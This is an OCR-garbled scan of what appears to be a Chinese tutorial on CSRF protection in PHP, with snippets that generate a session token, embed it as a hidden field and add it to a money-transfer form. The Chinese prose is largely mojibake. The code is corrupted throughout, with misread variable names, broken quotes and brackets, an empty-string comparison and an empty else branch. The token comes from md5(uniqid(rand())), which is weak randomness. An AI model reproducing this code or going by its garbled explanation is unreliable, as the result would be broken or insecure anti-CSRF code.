Cookie Token J& Frf # P AT F—MABEALE, %KY Token 2/ P RAN G —PAF
) 4 B LA -
TS5 2 A B R B gen_token():
g <?php
function gen_token() {
Stoken = md5 (unigid(rand(), true));

: return $token;
§ )
7>
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86 Byt CSRF K

SR J5 4 R Session token, LA{# 7E i i (4G A b 264708 H -«

<?php
function gen_stoken() {
$pToken = ""
if ($_SESSION[STOKEN_NAME] == $5pToken]) {
/EHE, WERE
$_SESSION[STOKEN NAME] = gen_tokenl();
}
else|
/ISR IBHE
}
1
7>
Web 2 512 b B i g A\ S 1) e £
<?php

function gen_input() |
gen_stoken();
echo “<input type=\" hidden\" name=\" " . FTOKEN NAME . "\"

value=\" " . $ SESSION[STOKEN NAME] . “\" >
}
7>
Web 2 P45 U1F -
<?php
session_start();
include (“functions.php”) ;
>

<form method="POST” action=“transfer.php”>

<input type="text” name="toBankId”>

<input type="text” name="money"”>

<? gen_input(); 2>

<input type="”submit” name="submit” value="Submit”>
</FORM>

— U AL I UL T BE LS AR A GE S BT 0 2l Do e, H HL7E S8 B A IR H R
BT H AT AT BB i CSRF Bk ) T BL.

LA_ES A JLRr CSRF B FBL& A A8, WA —FRakm. RITE#E — & BieH
35[) CSRF Biiifi 4%, HEMIGHMLZERE (W XSS), BAKdE VAT geE 24
B 3 A s Bt o
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